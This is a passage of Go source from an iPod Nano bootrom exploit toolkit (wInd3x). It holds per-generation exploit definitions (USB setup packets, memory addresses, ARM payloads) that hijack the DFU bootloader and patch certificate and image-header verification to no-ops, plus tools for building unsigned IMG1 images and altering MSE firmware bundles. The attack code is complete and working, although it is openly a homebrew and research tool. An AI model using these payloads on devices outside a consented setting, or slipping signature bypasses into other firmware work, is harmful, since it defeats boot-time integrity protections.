uasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(0x40)}, uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x2000aa40)}, uasm.Blx{Dest: uasm.R2}, // Fix up return. uasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x200048d4)}, uasm.Bx{Dest: uasm.LR}, } } func (_ *epNano3G) AESCall() []uasm.Statement { return makeCall(0x20001f04, 0x22028220, 0x40, 1, 0, 0) } func (_ *epNano3G) HaxedDFUPayload() []uasm.Statement { return []uasm.Statement{ // Copy descriptor to g_State->deviceDescriptor. uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2203fff8)}, uasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 0)}, uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(379)}, uasm.Add{Dest: uasm.R0, Src: uasm.R0, Compl: uasm.R1}, uasm.Ldr{Dest: uasm.R1, Src: uasm.LabelRef("descriptor")}, uasm.Ldrb{Dest: uasm.R2, Src: uasm.Deref(uasm.R1, 0)}, uasm.Label("descriptor_copy_loop"), uasm.Ldrb{Dest: uasm.R3, Src: uasm.Deref(uasm.R1, 0)}, uasm.Strb{Src: uasm.R3, Dest: uasm.Deref(uasm.R0, 0)}, uasm.Add{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.Immediate(1)}, uasm.Add{Dest: uasm.R0, Src: uasm.R0, Compl: uasm.Immediate(1)}, uasm.Sub{Dest: uasm.R2, Src: uasm.R2, Compl: uasm.Immediate(1)}, uasm.Cmp{A: uasm.R2, B: uasm.Immediate(0)}, uasm.B{Cond: uasm.NE, Dest: uasm.LabelRef("descriptor_copy_loop")}, uasm.B{Dest: uasm.LabelRef("on_image_hook_skip")}, uasm.Label("on_image_hook"), // Save LR. uasm.Sub{Dest: uasm.SP, Src: uasm.SP, Compl: uasm.Immediate(4)}, uasm.Str{Src: uasm.LR, Dest: uasm.Deref(uasm.SP, 0)}, // R0 = g_State->dfuBoot->img_addr2 (img1 header) uasm.Ldr{Dest: uasm.R4, Src: uasm.Constant(0x2203fff8)}, uasm.Ldr{Dest: uasm.R1, Src: uasm.Deref(uasm.R4, 0)}, uasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R1, 1848)}, uasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 44)}, // R1 = R0 + 0x800 (img1 body) uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x800)}, uasm.Add{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.R0}, // Call DFUBoot::CopyHeaderBody uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x20000ac4)}, uasm.Blx{Dest: uasm.R2}, // Set g_State->dfu_done = 1. uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2203fff8)}, uasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 0)}, uasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(1)}, uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, 44)}, // Set g_State->img1_version = "1.0" uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x302e31)}, uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, 52)}, // Set g_State->entrypoint = 0 uasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(0)}, uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, 48)}, // Restore LR. uasm.Ldr{Dest: uasm.LR, Src: uasm.Deref(uasm.SP, 0)}, uasm.Add{Dest: uasm.SP, Src: uasm.SP, Compl: uasm.Immediate(4)}, // Return 0. uasm.Mov{Dest: uasm.R0, Src: uasm.Immediate(0)}, uasm.Bx{Dest: uasm.LR}, uasm.Label("on_image_hook_skip"), // Copy on_image_hook to some free memory. uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2203d800)}, uasm.Ldr{Dest: uasm.R1, Src: uasm.LabelRef("on_image_hook")}, //uasm.Ldr{Dest: uasm.R2, Src: uasm.LabelRef("on_image_hook_skip")}, // ... also need constant pool. // // TODO(q3k): add constant pool markers to uasm and unhardcode this // mess. uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x100)}, uasm.Label("hook_copy_loop"), uasm.Ldrb{Dest: uasm.R3, Src: uasm.Deref(uasm.R1, 0)}, uasm.Strb{Src: uasm.R3, Dest: uasm.Deref(uasm.R0, 0)}, uasm.Add{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.Immediate(1)}, uasm.Add{Dest: uasm.R0, Src: uasm.R0, Compl: uasm.Immediate(1)}, uasm.Sub{Dest: uasm.R2, Src: uasm.R2, Compl: uasm.Immediate(1)}, uasm.Cmp{A: uasm.R2, B: uasm.Immediate(0)}, uasm.B{Cond: uasm.NE, Dest: uasm.LabelRef("hook_copy_loop")}, // Set g_State->dfuOnImage = 0x2203d800 (hook) uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2203fff8)}, uasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 0)}, uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x2203d800)}, //uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x200034f0)}, uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, 40)}, } } func (_ *epNano3G) DisableICache() []uasm.Statement { return makeCall(0x20000418) } func (_ *epNano3G) NANDInit(bank uint32) ([]uasm.Statement, error) { // The N3G seems to have at least two NAND controller peripherals? We use // the first one (arg 0 to calls). var res []uasm.Statement // Enable clocks 8, 12. res = append(res, makeCall(0x2000147c, 8)...) res = append(res, makeCall(0x2000147c, 12)...) // Configure GPIO res = append(res, makeCall(0x20001830, 0)...) // Reset nand bank. res = append(res, makeCall(0x200096e4, 0, bank)...) return res, nil } func (_ *epNano3G) NANDReadPage(bank, page, offset uint32) ([]uasm.Statement, uint32) { // Call with bogus last argument (needs 12 bytes of data output as extra argument... ECC..?) return makeCall(0x20009910, 0, bank, page, 0x22000100, 0x22000000), 0x22000100 + offset } func (_ *epNano3G) NANDIdentify() ([]uasm.Statement, uint32) { return []uasm.Statement{ uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(FMC_BASE0)}, // Address base of first FMC controller uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x22000100)}, // Destination buffer // Write Read Command 0x90 to FMCMD uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x90)}, // Read ID Command uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_CMD_OFF)}, uasm.Label("wait_rbb_done_loop"), uasm.Ldr{Dest: uasm.R1, Src: uasm.Deref(uasm.R0, FMC_STAT_OFF)}, uasm.And{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.Immediate(0x2)}, // RBB_DONE uasm.Cmp{A: uasm.R1, B: uasm.Immediate(0x2)}, uasm.B{Cond: uasm.NE, Dest: uasm.LabelRef("wait_rbb_done_loop")}, // Set rbb done uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x2)}, uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_STAT_OFF)}, // Read from address 0x00 to get the identifier uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x00)}, uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_ANUM_OFF)}, uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_ADDR0_OFF)}, // Transfer the address uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x1)}, // Set DO_TRANS_ADDR bit uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_CTRL1_OFF)}, uasm.Label("wait_cmd_done_loop"), uasm.Ldr{Dest: uasm.R1, Src: uasm.Deref(uasm.R0, FMC_STAT_OFF)}, uasm.And{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.Immediate(0x4)}, // CMD_DONE uasm.Cmp{A: uasm.R1, B: uasm.Immediate(0x4)}, uasm.B{Cond: uasm.NE, Dest: uasm.LabelRef("wait_cmd_done_loop")}, // Set cmd done uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x4)}, uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_STAT_OFF)}, // We want to read seven bytes of data uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(7)}, uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_DNUM_OFF)}, uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(1)}, uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_ADDR2_OFF)}, // IDK was in CS code // Read the data uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x000001C2)}, // DO_READ_DATA, Flush FIFOs uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_CTRL1_OFF)}, // Wait for transfer to complete uasm.Label("wait_addr_done_loop"), uasm.Ldr{Dest: uasm.R1, Src: uasm.Deref(uasm.R0, FMC_STAT_OFF)}, uasm.And{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.Immediate(0x8)}, // ADDR_DONE uasm.Cmp{A: uasm.R1, B: uasm.Immediate(0x8)}, uasm.B{Cond: uasm.NE, Dest: uasm.LabelRef("wait_addr_done_loop")}, uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x00000100)}, uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_ADDR2_OFF)}, // IDK was in CS code // Flush WFIFO and Parity uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x00000340)}, uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_CTRL1_OFF)}, // Copy to destination buffer uasm.Ldr{Dest: uasm.R1, Src: uasm.Deref(uasm.R0, FMC_FIFO_OFF)}, uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R2, 0)}, }, 0x22000100 } func (_ *epNano3G) NORInit(spino uint32) ([]uasm.Statement, error) { var clk uint32 switch spino { case 0: clk = 0x22 case 1: clk = 0x2b case 2: clk = 0x2f default: return nil, fmt.Errorf("unknown spi peripheral number") } return []uasm.Statement{ // Configure GPIO for given peripheral. uasm.Mov{Dest: uasm.R0, Src: uasm.Immediate(spino)}, uasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x20001924)}, uasm.Blx{Dest: uasm.LR}, // Enable clock for given peripheral. uasm.Mov{Dest: uasm.R0, Src: uasm.Immediate(clk)}, uasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x2000147c)}, uasm.Blx{Dest: uasm.LR}, }, nil } func (_ *epNano3G) NORRead(spino, offset uint32) ([]uasm.Statement, uint32) { return []uasm.Statement{ uasm.Mov{Dest: uasm.R0, Src: uasm.Immediate(spino)}, uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x84)}, // ???? SPCNT? uasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x20008f90)}, uasm.Blx{Dest: uasm.LR}, uasm.Mov{Dest: uasm.R0, Src: uasm.Immediate(spino)}, uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x80)}, uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x22020000)}, uasm.Ldr{Dest: uasm.R3, Src: uasm.Constant(offset)}, uasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x2000906c)}, uasm.Blx{Dest: uasm.LR}, }, 0x22020000 } ================================================ FILE: pkg/exploit/wind3x_n45g.go ================================================ package exploit import ( "fmt" "github.com/freemyipod/wInd3x/pkg/devices" "github.com/freemyipod/wInd3x/pkg/uasm" ) type epNano45G struct { ret1Addr uint32 } func (_ *epNano45G) Prepare(_ devices.Usb) error { return nil } func (_ *epNano45G) DFUBufAddr() uint32 { return 0x2202db00 } func (_ *epNano45G) ExecAddr() uint32 { return 0x2202de08 } func (_ *epNano45G) USBBufAddr() uint32 { return 0x2202e300 } func (_ *epNano45G) SetupPacket() []byte { return []byte{0xc0, 0xfe, 0xff, 0xea, 0x03, 0x00, 0x00, 0x00} } func (_ *epNano45G) NANDInit(bank uint32) ([]uasm.Statement, error) { return nil, fmt.Errorf("unimplemented") } func (_ *epNano45G) NANDReadPage(bank, page, offset uint32) ([]uasm.Statement, uint32) { panic("unimplemented") } func (_ *epNano45G) NANDIdentify() ([]uasm.Statement, uint32) { panic("unimplemented") } func (_ *epNano45G) NORInit(spino uint32) ([]uasm.Statement, error) { return nil, fmt.Errorf("unimplemented") } func (_ *epNano45G) NORRead(spino, offset uint32) ([]uasm.Statement, uint32) { panic("unimplemented") } func (e *epNano45G) HaxedDFUPayload() []uasm.Statement { descriptorSRAM := 0x2202d800 vtableSRAM := 0x2202d880 _ = vtableSRAM return []uasm.Statement{ // Copy descriptor to scratch memory space. uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(descriptorSRAM)}, uasm.Ldr{Dest: uasm.R1, Src: uasm.LabelRef("descriptor")}, uasm.Ldrb{Dest: uasm.R2, Src: uasm.Deref(uasm.R1, 0)}, uasm.Label("descriptor_copy_loop"), uasm.Ldrb{Dest: uasm.R3, Src: uasm.Deref(uasm.R1, 0)}, uasm.Strb{Src: uasm.R3, Dest: uasm.Deref(uasm.R0, 0)}, uasm.Add{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.Immediate(1)}, uasm.Add{Dest: uasm.R0, Src: uasm.R0, Compl: uasm.Immediate(1)}, uasm.Sub{Dest: uasm.R2, Src: uasm.R2, Compl: uasm.Immediate(1)}, uasm.Cmp{A: uasm.R2, B: uasm.Immediate(0)}, uasm.B{Cond: uasm.NE, Dest: uasm.LabelRef("descriptor_copy_loop")}, // Set descriptor in g_State->dfu_state->deviceDescriptor uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2202fff8)}, uasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 0)}, uasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 1584)}, uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(descriptorSRAM)}, uasm.Str{Src: uasm.R2, Dest: uasm.Deref(uasm.R0, 24)}, // Copy state vtable to scratch. uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2202fff8)}, uasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 0)}, uasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 36)}, uasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(0)}, uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(vtableSRAM)}, uasm.Label("vtable_copy_loop"), uasm.Ldrb{Dest: uasm.R3, Src: uasm.Deref(uasm.R0, 0)}, uasm.Strb{Src: uasm.R3, Dest: uasm.Deref(uasm.R2, 0)}, uasm.Add{Dest: uasm.R0, Src: uasm.R0, Compl: uasm.Immediate(1)}, uasm.Add{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.Immediate(1)}, uasm.Add{Dest: uasm.R2, Src: uasm.R2, Compl: uasm.Immediate(1)}, uasm.Cmp{A: uasm.R1, B: uasm.Immediate(84)}, uasm.B{Cond: uasm.NE, Dest: uasm.LabelRef("vtable_copy_loop")}, // Set new VTable in g_State. uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2202fff8)}, uasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 0)}, uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(vtableSRAM)}, uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, 36)}, // Overwrite VTable verify_{certificate,image_header} to no-ops. uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(vtableSRAM)}, uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(e.ret1Addr)}, uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, 28)}, uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, 20)}, } } type epNano4G struct { epNano45G } func newEPNano4G() *epNano4G { return &epNano4G{ epNano45G: epNano45G{ ret1Addr: 0x20000d10, }, } } func (_ *epNano4G) TrampolineAddr() uint16 { return 0x3b0 } func (_ *epNano4G) HandlerFooter(addr uint32) []uasm.Statement { return []uasm.Statement{ // Return 0x40 bytes of requested address. uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(addr)}, uasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(0x40)}, uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x2000a554)}, uasm.Blx{Dest: uasm.R2}, // Fixup LR (after trampoline blx messes it up) uasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x20004d64)}, uasm.Bx{Dest: uasm.LR}, } } func (_ *epNano4G) AESCall() []uasm.Statement { return makeCall(0x200020d4, 0x2202db00, 0x2202db00, 0x40, 1, 0, 0) } func (_ *epNano4G) DisableICache() []uasm.Statement { return makeCall(0x200003f4) } type epNano5G struct { epNano45G } func newEPNano5G() *epNano5G { return &epNano5G{ epNano45G: epNano45G{ ret1Addr: 0x20000cbc, }, } } func (_ *epNano5G) TrampolineAddr() uint16 { return 0x37c } func (_ *epNano5G) HandlerFooter(addr uint32) []uasm.Statement { return []uasm.Statement{ // Return 0x40 bytes of requested address. uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(addr)}, uasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(0x40)}, uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x2000a474)}, uasm.Blx{Dest: uasm.R2}, // Fixup LR (after trampoline blx messes it up) uasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x20004d70)}, uasm.Bx{Dest: uasm.LR}, } } func (_ *epNano5G) AESCall() []uasm.Statement { return makeCall(0x200020ec, 0x2202db00, 0x2202db00, 0x40, 1, 0, 0) } func (_ *epNano5G) DisableICache() []uasm.Statement { return makeCall(0x200003c0) } func (_ *epNano5G) NANDInit(bank uint32) ([]uasm.Statement, error) { var res []uasm.Statement // Enable clocks 5, 9 res = append(res, makeCall(0x2000169c, 5)...) res = append(res, makeCall(0x2000169c, 9)...) // Configure GPIO. res = append(res, makeCall(0x20001b3c)...) // Reset NAND bank. res = append(res, makeCall(0x20009060, bank)...) return res, nil } func (_ *epNano5G) NANDReadPage(bank, page, offset uint32) ([]uasm.Statement, uint32) { return makeCall(0x200091e8, bank, page, 0x22025200), 0x22025200 + offset } // This doesn't work for some reason (issuing the read crashes the device), // but we keep this in case someone wants to attempt to fix it. //func (_ *epNano5G) NORInit(spino uint32) ([]uasm.Statement, error) { // var clk uint32 // switch spino { // case 0: // clk = 0x17 // case 1: // clk = 0x20 // case 2: // clk = 0x24 // default: // return nil, fmt.Errorf("unknown spi peripheral number") // } // var res []uasm.Statement // // Configure GPIO for given peripheral. // res = append(res, makeCall(0x20001ba0, spino)...) // // Enable clock for given peripheral. // res = append(res, makeCall(0x2000169c, clk)...) // // Assert CS for given peripheral. // res = append(res, makeCall(0x20004ed0, spino)...) // // Configure SPI peripheral (set master, configure baud, etc). // res = append(res, makeCall(0x20008bc0, spino)...) // return res, nil //} // //func (_ *epNano5G) NORRead(spino, offset uint32) ([]uasm.Statement, uint32) { // return makeCall(0x20008ca8, spino, 0x600, 0x22025200, offset), 0x22025200 + offset //} ================================================ FILE: pkg/image/image.go ================================================ package image import ( "bytes" "encoding/binary" "errors" "fmt" "io" "log/slog" "github.com/freemyipod/wInd3x/pkg/devices" ) const ( FormatSignedEncrypted byte = 1 FormatSigned byte = 2 FormatX509SignedEncrypted byte = 3 FormatX509Signed byte = 4 ) // IMG1Headers are also known as '8900' headers. More info: // https://freemyipod.org/wiki/IMG1 type IMG1Header struct { Magic [4]byte Version [3]byte Format byte Entrypoint uint32 BodyLength uint32 DataLength uint32 FooterCertOffset uint32 FooterCertLength uint32 Salt [32]byte Unknown1 uint16 SecurityEpoch uint16 HeaderSignature [16]byte } func MakeUnsigned(dk devices.Kind, entrypoint uint32, body []byte) ([]byte, error) { var magic [4]byte copy(magic[:], []byte(dk.SoCCode())) buf := bytes.NewBuffer(nil) // Align body to 0x10. if (len(body) % 16) != 0 { pad := bytes.Repeat([]byte{0}, 16-(len(body)%16)) body = append(body, pad...) } format := FormatX509Signed sigLength := 0x80 certLength := 0x300 var version [3]byte if dk == devices.Nano3 { copy(version[:], []byte("1.0")) format = FormatSigned sigLength = 0 certLength = 0 } else { copy(version[:], []byte("2.0")) } // Start off with the header. hdr := &IMG1Header{ Magic: magic, Version: version, Format: format, Entrypoint: entrypoint, BodyLength: uint32(len(body)), DataLength: uint32(len(body) + sigLength + certLength), FooterCertOffset: uint32(len(body) + sigLength), FooterCertLength: uint32(certLength), } if err := binary.Write(buf, binary.LittleEndian, hdr); err != nil { return nil, fmt.Errorf("could not serialize header: %w", err) } // Pad to 0x600/0x800/0x400. pad := 0x600 switch dk { case devices.Nano3: pad = 0x800 case devices.Nano7, devices.Nano7Late: pad = 0x400 } buf.Write(bytes.Repeat([]byte{0}, pad-buf.Len())) // Add body. buf.Write(body) // Add unused signature. buf.Write(bytes.Repeat([]byte{'S'}, sigLength)) // Add unused certificates. buf.Write(bytes.Repeat([]byte{'C'}, certLength)) return buf.Bytes(), nil } type IMG1 struct { Header IMG1Header DeviceKind devices.Kind Body []byte } var ( ErrNotImage1 = errors.New("Not an IMG1 file") ) func Read(r io.ReadSeeker) (*IMG1, error) { var hdr IMG1Header if err := binary.Read(r, binary.LittleEndian, &hdr); err != nil { return nil, fmt.Errorf("failed to read header: %w", err) } var kind devices.Kind for _, k := range []devices.Kind{devices.Nano3, devices.Nano4, devices.Nano5, devices.Nano6, devices.Nano7, devices.Nano7Late} { if bytes.Equal(hdr.Magic[:], []byte(k.SoCCode())) { kind = k break } } if kind.String() == "UNKNOWN" { return nil, ErrNotImage1 } if kind == devices.Nano3 { if !bytes.Equal(hdr.Version[:], []byte("1.0")) { return nil, fmt.Errorf("unsupported image version %q", hdr.Version) } } else { if !bytes.Equal(hdr.Version[:], []byte("2.0")) { return nil, fmt.Errorf("unsupported image version %q", hdr.Version) } } hdrSize := int64(0x600) switch kind { case devices.Nano3: hdrSize = 0x800 case devices.Nano7, devices.Nano7Late: hdrSize = 0x400 } if _, err := r.Seek(hdrSize, io.SeekStart); err != nil { return nil, fmt.Errorf("could not seek past header") } slog.Info("Parsed image.", "kind", kind) body := make([]byte, hdr.BodyLength) if _, err := r.Read(body); err != nil { return nil, fmt.Errorf("could not read body") } // Ignore the rest of the fields, whatever. return &IMG1{ Header: hdr, DeviceKind: kind, Body: body, }, nil } ================================================ FILE: pkg/mse/modifications.go ================================================ package mse import ( "bytes" "encoding/hex" "fmt" "os" "github.com/freemyipod/wInd3x/pkg/image" ) func (m *MSE) FileByName(n string) *File { for _, fi := range m.Files { if fi.Header.Name.String() == n { return fi } } return nil } func (m *MSE) Hax() error { osos := m.FileByName("osos") disk := m.FileByName("disk") osos.Header.Name.Set("disk") disk.Header.Name.Set("osos") rsrc := m.FileByName("rsrc") fmt.Println(hex.Dump(rsrc.Data[:0x100])) img1, err := image.Read(bytes.NewReader(rsrc.Data)) if err != nil { return err } rsrcNew := make([]byte, len(rsrc.Data)) copy(rsrcNew[:], rsrc.Data) body := img1.Body os.WriteFile("/tmp/rsrc.bin", body, 0600) body, _ = os.ReadFile("/home/q3k/Projects/freemyipod/nano7g/rsrc.bin") copy(rsrcNew[0x400:0x400+len(body)], body) rsrc.Data = rsrcNew return nil } ================================================ FILE: pkg/mse/mse.go ================================================ // Package mse implements parsing and unparsing of 'MSE' firmware bundle files, // as seen in iPod firmware IPSWs. // // There is no spec for this format, and a lot of it seems to just be ad-hoc // modified between generations. This library is designed to unparse files from // all devices and be able to re-emit them while maintaining all the // peculiarities of that generation's sub-format. // // Reference: http://www.ipodlinux.org/Firmware.html package mse import ( "bytes" "encoding/binary" "fmt" "io" "log" "strings" "github.com/freemyipod/wInd3x/pkg/devices" ) // MSE firmware bundle, contains files. These should only be constructed from // calling the Parse function. type MSE struct { // Guard which contains copyright header. Guard string // The global volume/firmware header. VolumeHeader *VolumeHeader // Individual files. Files []*File // Guessed device kind. DeviceKind devices.Kind } // Firmware file, eg. osos or disk,. type File struct { // Header, parsed directly from binary format. Header *FileHeader // PrefixHeader is set for some versions (N4G+) and some files, and is // effectively a light 'wrapper' around the file itself. If set during // parse, it will also be used during unparsing. PrefixHeader *PrefixHeader // Data kept in the file, eg. an IMG1 image or FAT16 filesystem. Data []byte } type PrefixHeader struct { Zero1 uint32 Unk1 uint32 Zero2 uint32 Zero3 uint32 Zero4 uint32 Size uint32 } type FourCC uint32 func (f *FourCC) String() string { data := make([]byte, 4) binary.BigEndian.PutUint32(data, uint32(*f)) return string(data) } func (f *FourCC) Set(s string) { data := []byte(s) if len(data) != 4 { panic(fmt.Sprintf("invalid fourcc: %q", s)) } var u uint32 binary.Read(bytes.NewReader(data), binary.BigEndian, &u) *f = FourCC(u) } type VolumeHeader struct { ID FourCC DirectoryOffset uint32 ExtendedHeaderOffset uint16 Version uint16 } type FileHeader struct { // NAND or ATA! Target FourCC // osos or disk or ... Name FourCC // 0 for most files, 1 for an 'used' aupd. Used uint32 // Offset within the MSE. Offset uint32 // Length of the data contained. This well be recalculated to the file's // Data field length on unparse. Length uint32 // All the following fields are just copied from the old iPodLinux wiki // article, and their exact function is not exactly tested. Address uint32 Entry uint32 Checksum uint32 Version uint32 LoadAddress uint32 } func (f *FileHeader) Valid() bool { if f.Target.String() == "NAND" { return true } if f.Target.String() == "ATA!" { return true } return false } func guessGeneration(r io.ReadSeeker) (devices.Kind, error) { // Terrible hack! MSE files seem to have have slightly different packing // semantics between device versions, but don't have any metadata that would // tell us the device version. // // Easiest way to detect a version, pre-parse, is to count IMG1 header // fragments. This is obviously a terrible heuristic, but it works for now. headers := map[devices.Kind]string{ devices.Nano3: devices.Nano3.SoCCode() + "1.0", devices.Nano4: devices.Nano4.SoCCode() + "2.0", devices.Nano5: devices.Nano5.SoCCode() + "2.0", devices.Nano6: devices.Nano6.SoCCode() + "2.0", devices.Nano7: devices.Nano7.SoCCode() + "2.0", devices.Nano7Late: devices.Nano7Late.SoCCode() + "2.0", } if _, err := r.Seek(0, io.SeekStart); err != nil { return devices.Nano3, err } d, err := io.ReadAll(r) if err != nil { return devices.Nano3, err } best := devices.Nano3 bestCount := 0 for k, s := range headers { count := bytes.Count(d, []byte(s)) if count > bestCount { bestCount = count best = k } } if bestCount == 0 { return devices.Nano3, fmt.Errorf("did not find any SoC codes") } return best, nil } func Parse(r io.ReadSeeker) (*MSE, error) { gen, err := guessGeneration(r) if err != nil { return nil, fmt.Errorf("could not guess device generation: %w", err) } log.Printf("Parsing MSE for (guessed) generation: %s", gen.String()) r.Seek(0, io.SeekStart) guardB := make([]byte, 0x100) if _, err := io.ReadFull(r, guardB); err != nil { return nil, fmt.Errorf("could not read guard") } guard := string(guardB) if !strings.Contains(guard, "Copyright") || guardB[0xff] != 0 { return nil, fmt.Errorf("not a valid MSE file") } var vh VolumeHeader if err := binary.Read(r, binary.LittleEndian, &vh); err != nil { return nil, fmt.Errorf("failed to read volume header: %w", err) } if vh.ID.String() != "[hi]" { return nil, fmt.Errorf("invalid volume header id") } if vh.DirectoryOffset != 0x4000 { return nil, fmt.Errorf("unexpected directory offset %x", vh.DirectoryOffset) } if vh.ExtendedHeaderOffset != 0x10c { return nil, fmt.Errorf("unexpected extended header offset %x", vh.ExtendedHeaderOffset) } if vh.Version != 3 { return nil, fmt.Errorf("unexpected version %d", vh.Version) } padStart, _ := r.Seek(0, 1) pad := make([]byte, 0x5000-padStart) if _, err := io.ReadFull(r, pad); err != nil { return nil, fmt.Errorf("could not read padding") } if !bytes.Equal(pad, bytes.Repeat([]byte{0}, len(pad))) { return nil, fmt.Errorf("invalid padding") } var files []*File for i := 0; i < 16; i++ { var fh FileHeader if err := binary.Read(r, binary.LittleEndian, &fh); err != nil { return nil, fmt.Errorf("failed to read file header: %w", err) } files = append(files, &File{ Header: &fh, }) } for i, file := range files { if !file.Header.Valid() { continue } if _, err := r.Seek(int64(file.Header.Offset), io.SeekStart); err != nil { return nil, fmt.Errorf("could not seek to file %s at %x", file.Header.Name.String(), file.Header.Offset) } // Try to read PrefixHeader, adjust start offset if present. var header PrefixHeader if err := binary.Read(r, binary.LittleEndian, &header); err != nil { return nil, fmt.Errorf("could not read optional file header: %v", err) } valid := true if header.Zero1 != 0 { valid = false } if header.Unk1 != 0 && header.Unk1 != 4 { valid = false } if header.Zero2 != 0 { valid = false } if header.Zero3 != 0 { valid = false } if header.Zero4 != 0 { valid = false } length := file.Header.Length if gen == devices.Nano3 { length += 0x1000 } start := int64(file.Header.Offset) if valid { file.PrefixHeader = &header start += 0x1000 } log.Printf("File %d: %s, offset %x, len %x, prefix: %v", i, file.Header.Name.String(), file.Header.Offset, file.Header.Length, valid) // Read main data. if _, err := r.Seek(start, io.SeekStart); err != nil { return nil, fmt.Errorf("could not seek to file %s at %x", file.Header.Name.String(), start) } file.Data = make([]byte, length) if _, err := io.ReadFull(r, file.Data); err != nil { return nil, fmt.Errorf("could not read file %s: %v", file.Header.Name.String(), err) } } m := MSE{ Guard: guard, VolumeHeader: &vh, Files: files, DeviceKind: gen, } return &m, nil } func (m *MSE) Serialize() ([]byte, error) { buf := bytes.NewBuffer(nil) buf.WriteString(m.Guard) // Calculate sizes and offsets for all files. var sectionSizes []int for _, fi := range m.Files { if !fi.Header.Valid() { continue } length := len(fi.Data) fi.Header.Length = uint32(length) if ph := fi.PrefixHeader; ph != nil { // The 'prefix header' length seems to always be the length, but // aligned to 16 bytes. ph.Size = uint32(length) if ph.Size%16 != 0 { ph.Size += 16 - (ph.Size % 16) } } if 